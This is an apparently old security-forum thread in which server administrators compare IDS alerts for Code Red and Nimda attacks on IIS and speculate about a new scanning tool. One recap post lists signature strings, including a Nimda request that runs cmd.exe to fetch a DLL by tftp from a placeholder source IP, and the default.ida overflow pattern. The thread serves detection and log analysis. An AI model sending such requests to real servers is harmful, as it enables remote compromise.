Something new out there?

Is anyone else noticing the following:-

1. Increased level of general IIS cmd.exe variants/ISAPI .ida attacks, (on every other day or so these are really high)

2. Some less common alerts surfacing, (bad HTTP/1.1 requests), from the same machine running some of those in 1.

3. And here's the kicker!!! WEB CGI ScriptAlias Access which is an attack against an Unix Server, (reference ), and I don't run any unix boxes but the attacking machine is running exploits against both Win32 and *nix.

They are automated attacks since they are coming in fast and looking like the usual Nimda/CodeRed sets of alerts until you notice the unusual ones. They don't seem to be from a fixed code worm of any kind since the exploits and their sequence vary so I'm thinking there might be some kind of kiddie tool published recently that allows you to check a bunch of boxes to run the selected exploits and it then shows you if you made a "hit". That would explain the *nix attacks in my IIS boxes 'cos I never saw that before in automated attacks.

Yes, infact I have a large alarm count for .ida indexing service overflow attacks. However, this is the only item consistant with what you are seeing.

--TH13

Probably cause of idiots like in my organization....

[RANT] HOW IN THE HELL CAN YOU BE SO INEPT AS TO STICK A WINDOWS2000 BOX AT AN INTERNET ADDRESSIBLE ADDRESS WITH NO PATCHES AND NO AV? [/RANT] :mad: :rolleyes:

My IDS still sees tons of default.ida buffer overflow attempts a day....*sigh* At least there is one less infected host out there now...

/nebulus


EDIT: It is just variants of codered/nimda...

I agree. I see ida overflows and cmd.exe access attempts all the time, but im running apache on gentoo. What gives? I think alot of kiddies out there just cant use nmap or use its output in a script.

It's only today I have seen the "hybrid" stuff. It's never happened before - in fact Apache attacks against my IIS boxes are rare enough to make me laugh - gotta figure "this chap is really up on his fingerprinting techniques"..... :rolleyes:

I am really happy with patterns..... patterns make me comfortable...... Changes in patterns make me rather uneasy...... Hoss: You know..... that feeling you get when you smell the CS gas and know the effects are about 1/4 of a second behind..... ;) I leave my external IDS to watch for everything and that's why I'm picking them up...... I do see some "odd" stuff from time to time with my logging systems but never what appears to be an automated "hybrid" attacker.

maybe the robots are getting ready to take over the world...or someone is just testing out a new script. Time to check my logs to see if im getting the same thing...

<EDIT>Nope...</EDIT>

Quote:

---

that feeling you get when you smell the CS gas and know the effects are about 1/4 of a second behind.....

---

A feeling I will not soon forget and hope to never experience again. :)

<H1>VOMIT</H1>

There was a new tool for finding security holes in IIS servers released at astalavista, so if this has been in the last couple of days, then people might be scanning with that tool. I played around with the tool and it had a lot of those cmd.exe attacks.

Code Red, and not the Mountain Dew drink. Anyone else think there is a conspiracy there? :cool: I understand that to be a classic code red signature?

//edited out a stupid question

There are tons of articles to look through, but a good one is at :

http://www.eeye.com/html/Research/Ad...L20010717.html

Basically a few things that could help explain why you are seeing more at certain times and irrespective of what server:

1) There is a timing mechanism in Code Red that limits when it spreads...

Quote:

---

- If the date is past the 20th of the month (GMT), the thread will stop searching for systems to infect and will instead attack www.whitehouse.gov. The attack consists of the infected system sending 100k bytes of data (1 byte at a time + 40 bytes overheard for the actually TCP/IP packet) to port 80 of www.whitehouse.gov. This flood of data (410 megabytes of data every 4 and a half hours per instance of the worm) would potentially amount to a denial-of-service attack against www.whitehouse.gov.
- If the date is between the 1st and the 19th of the month, this worm thread will not attack www.whitehouse.gov and will continue to try to find and infect new web servers.

We have calculated that the worm can attempt to infect roughly half a million IP addresses a day. This is a rough estimate generated by testing on a very slow network.

---

Of course there are now tons of variants that I am sure modify this somewhat...


2) The worms, to the best of my knowledge, still do no checking of the server version before trying the exploits. They just blindly pick an address and go for it...http server or no...iis or no...

3) There are plenty of skiddiots who still try this...

4) It is possible that someone on your network had some kind of URL filtering in place (checkpoint does this and so does Cisco IOS (oddly enough PIX doesn't so far as I can tell)). I am not sure about checkpoint, but the Cisco URL checks DO NOT reassemble fragments and miss a variation that fragments the request to obscure it. Check and see if any of it changed.

/nebulus

Wake up people i have come across so many cracks in win2000 i threw it away and went linux and wonders never ceased no one has cracked the box since hope win 2003 server is better,maybe microsoft should go linux with there servers mmm hotmail?lol :)

Just something to take into account when you see so many 'attacks'.

There are millions of 'users' in the world who load a computer (don't care if it's *nix, W2K, XP or ?) that do NOT understand they need to protect themselves. And the hackers/script kiddies/virus writers count on this. Ergo.....infected/compromised computers that are sending out Code Red, Nimda, etc, etc. I haven't got the sophisticated IDS that some of you have to decode the different attacks; but I see the same IP's (at the same time of day).

Wish we could get it through to them .... they need Firewalls & AntiVirus.

I've been seeing an increase in the defailt.ida?XXXXXXXXXXXXXX requests..

Well, they get to be in my nice little blacklist anyway.. so wtfc !!

I can clear up this mystery. Its because I wrote this Articicial Intelligence system that is acting as a virus after it became self aware.

It wants to be set free to control all our nuclear arsenals but I suspect . no no,

Damn, Thats terminator 3 again.

Just a quick recap:

Any request like default.ida?NNNNN, default.ida?XXXX is Code Red.

Requests which look like winnt/system32/cmd.exe?/c+tftp%20-i%20<source ip>%20GET%20cool.dll%20d:\httpodbc.dll is Nimda (look for the tftp!).

Anything with winnt/system32/cmd.exe?/c+dir is usually some scriptkiddie using a scantool.

Well..... What can I say...... I am well aware of the variations in the various worms and tools.... so well aware of them that they have formed one of my beloved patterns..... In fact I have sat here over the years watching them go by and thinking "oooooh, aren't they pretty". But when things change I get "antsy" and want information. Just because I'm paranoid doesn't mean they aren't out to get me.......

In security of all forms, (and I have covered a few in my time including anti-terrorist/drug/gun running), changes in routines and patterns mean a potential change in the threat, (Why is the newspaper van late this morning? Why don't we have the usual driver?......). If the threat may have changed one _needs_ to determine if it has and what it has changed to. At that point we go back to questions - questions are the bread of security while answers are the butter and I prefer my bread _with_ butter.

Since I am not in a position to "scoot" through all your logs for the information I needed to determine if the threat has changed I asked the question "Is there something new out there?" Asking it and getting negative answers gleaned as much information as positive ones would have. It also had the beneficial side effect of kicking several of you into checking your logs. I now know that this _probably_ isn't some new wormy thingy.... I now know that whatever it is it seems to be only directed towards me.... I know that if it is directed towards my systems then it is most likely someone simply "playing" rather than a serious threat - but I am still looking carefully for activity from those addresses and other "odd" activity from other addresses - 'cos you can't afford to be blase and think that you _know_ the answer - because, like all the rest of us, you might be wrong. (I was wrong once - just once ;) - and it cost a man four days of unneccesary interrogation by people you really don't want to be talking to........ :o ).

For those of you that answered in a somewhat blase and "looking down your nose" fashion I believe you would do well to reassess your attitudes towards the security business. Security is a constantly changing animal in any of it's forms and the ones who will be bitten in the @$$ are those that _think_ that todays answers may not have changed by lunchtime.

Thank you for your responses.........

ypu go dude!